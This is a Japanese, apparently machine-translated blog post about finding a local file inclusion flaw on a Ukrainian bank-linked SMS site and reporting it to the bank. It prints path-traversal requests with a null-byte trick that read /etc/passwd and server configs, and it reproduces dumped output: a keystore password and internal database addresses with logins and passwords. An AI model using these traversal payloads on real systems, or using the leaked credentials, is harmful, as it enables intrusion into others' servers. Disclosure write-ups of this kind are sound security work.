1つの浸透の物語

ハッカーを捕まえることについてのトピックは、私にこの投稿を書きました。



数年前に私に起こった話をあなたと共有したいと思います。



私の趣味はWebアプリケーションのセキュリティであるとすぐに言わなければなりません。



偶然インターネットを歩いていた私の友人は、無料のSMSを多くのウクライナのオペレーターに送信するサイトを見つけました。 そこで、チューリングテスト(キャプチャ)のバイパスに関連する小さな脆弱性が見つかりました。

私の友人と私は脆弱性を探すのが好きなので、私たちはすぐにキャプチャをバイパスするという意味のゲームをプレイしました。

しかし、今日の話はこれについてではなく、後に私たちによって発見されたものについてです。







友人は、サイトページのソースコードを見て無料のSMSを送信すると、興味深いHTMLコードを見つけました。

<A HREF= "#" onClick= "javascript:window.open('https://hackbank.ua/test.php?code=MOBILE&state=2&xslt_url=service_host.xsl', ' 'quickpay','toolbar=0,status=0,menubar=0,scrollbars=0,width=650,height=400',false);" CLASS= "header" ><IMG SRC= "www.sms1.ua/img/topupeasy.jpg" WIDTH= "82"

HEIGHT= "34" ALT= " !" BORDER= "0" VSPACE= "0" ></A>









論理的にファイルをコンピューターにダウンロードするリンクは、非常に興味深いものでした。



5分も経たないうちに、 ローカルファイルインクルージョンの脆弱性を発見しました。



この脆弱性は次のリンクにありました。



hackbank.ua/test.php?code=MOBILE&state=2&xslt_url= <local _file >









この脆弱性を使用すると、ブラウザーでローカルファイルを直接読み取ることができます。



存在しないファイルをサーバーに要求しましたが、次のようになりました。



URLリクエスト:

hackbank.ua/test?&xslt_url=0









サーバーの応答は次のようなものでした:

500 Servlet Exception



...........................



Resin-3.0.s060216 (built Thu, 16 Feb 2006 09:17:50 PST)











正直なところ、私は初めて樹脂について聞いた

また、 Resinは、スケーラビリティや負荷分散などの機能を備えた高性能アプリケーションサーバーです。



その時点でウィキペディアで見つけた製品情報:



Caucho Technology, Inc.



Caucho Technology, Inc.



3.1.1 — 2007

GPL

www.caucho.com (.)













このソフトウェアをダウンロードした後、調査を開始しました。



そして、Resinソフトウェアのフォルダー構造:



¦ configure

¦ httpd.exe

¦ LICENSE

¦ Makefile.in

¦ README

¦ setup.exe

¦

+---automake

¦ config.guess

¦ config.sub

¦ install-sh

¦ ltmain.sh

¦ missing

¦

+---bin

¦ httpd.sh

¦

+---conf

¦ app-default.xml

¦ development.conf

¦ fine.conf

¦ minimal.conf

¦ password.xml

¦ resin-3_1.conf

¦ resin-admin.xml

¦ resin.conf

¦

+---contrib

¦ init.resin-iptables

¦ init.resin.in

¦

+---lib

¦ activation.jar

¦ eclipse-compil

















では、脆弱性に戻りましょう。



古典から始めましょう:

リンクによりhackbank.ua/test?xslt_url=../../../../../../etc/passwd



次の結論が得られます。



root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

news:x:9:13:news:/etc/news:

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

rpm:x:37:37::/var/lib/rpm:/sbin/nologin

nscd:x:28:28:NSCD Daemon:/:/sbin/nologin

ident:x:100:101::/home/ident:/sbin/nologin

netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin

rpcuser:x:29:29:RPC Servic









次に、 Resinサーバーの/ confフォルダーがローカルに保存されている場所を探し始めました

そして、彼らはそれを非常に素早く見つけました。

構成はXMLファイルです。 hackbank.ua/test?xslt_url=../../../../../../conf/resin.conf%00で入手できました



%00nullバイトで 、これが行の終わりであることをWebサーバーに伝えます。




次に、結果のファイルのソースコードを確認します。

<?xml version="1.0" encoding="utf-8"?>

<resin xmlns:resin= "caucho.com/ns/resin/core" xmlns= "caucho.com/ns/resin" >

<server>

<http port= "1080" />

<http port= "10443" >

<jsse-ssl>

<key-store-type> JKS </key-store-type>

<key-store-file> keys/hackbank.jks </key-store-file>

<password> fynbxfn </password>

<key-manager-factory> 6645b </key-manager-factory>

<ssl-context> SSL </ssl-context>

</jsse-ssl>

</http>

<host id= "" root-directory= "." >

<access-log path= "log/access.log" format= "%h %l %u %t &quot;%r&quot; %s %b &quot;%i&quot; &quot;%i&quot;" rollover-period= "1W" />

<stderr-log path= "log/stderr.log" timestamp= "[%Y.%m.%d %H:%M:%S.%s] " rollover-period= "1W" />

<stdout-log path= "log/stdout.log" rollover-period= "1W" />

<log path= "log/server.log" timestamp= "[%Y.%m.%d %H:%M:%S.%s] " rollover-period= "1W" />

<web-app id= "/" document-directory= "webapps/ROOT" />

<ear-deploy path= "deploy" >

<ear-default ejb-server-jndi-name= "java:comp/env/ejb" >

<ejb-server jndi-name= "java:comp/env/ejb" />

</ear-default>

</ear-deploy>

<web-app-deploy path= "webapps" />

<resource-deploy path= "deploy" />

<web-app-deploy path= "deploy" />

</host>

<resin:import path= "$/conf/db-pool.xml" />

<resin:import path= "$/conf/c2b-db-pool.xml" />

<resin:import path= "$/conf/db-pool-qp.xml" />

<resin:import path= "$/conf/hb-default.xml" />

<resin:import path= "$/conf/resin-status.xml" />

</server>

<resin:import path= "$/conf/resin-common.xml" />

</resin>









すべてのWebサーバーログは次のとおりです。



hackbank.ua/test?xslt_url=../../../../../../log/access.log

hackbank.ua/test?xslt_url=../../../../../../log/stderr.log

hackbank.ua/test?xslt_url=../../../../../../log/server.log









そこでは何も面白いものは見つかりませんでした。 しかし、さらに進んだ:)



ファイル../../../../../../conf/c2b-db-pool.xml%00



10.1.101.195:5000

-----------------

user : C2BServer

password : vsirfysy



10.1.100.105:5000

-----------------

user : C2BServer

password : lfktrbq,thtu



10.1.100.115:5000

----------------

user : jbkl

password :123456









ファイル../../../../../../conf/db-pool.xml%00



10.1.101.51:5000

-------------------

user : 16_jag

password : u4BKoc7U5Edo



10.1.100.77:5000

-------------------

user : hskl

password : hsklhskl



10.1.99.49:4100

------------------

user : wbpfo_p424

password : aUKlOfcvT4YmAnk



10.1.99.82:5000

------------------

user : P24CVC

password : Login_4_P424CVC









何だと思う? そうです、これは銀行の内部ネットワークの他のサーバーへのアクセスです:)



翌日、私たちは発見したすべての脆弱性を説明する手紙を書きました。 そして、彼らは銀行のメールに手紙を送りました。 3週間後、脆弱性が存在しました。 私たちは再び手紙を送り、1週間後、私たちの脆弱性を修復する喜びを感じました。



この記事で誰かを怒らせたくはありませんでした。安全なシステムがないことを世界に知らせたいだけです。 情報システムを監査する専門家を雇ってください。



すべての質問については、vadim @ g-sg.netまでご連絡ください



*注意! すべての参照、および銀行の名前は、匿名性のために変更されています*




ご清聴ありがとうございました!



UPD。 テキスト内のすべてのエラーは、プライベートメッセージに書き込まれます。 よろしくお願いします!



All Articles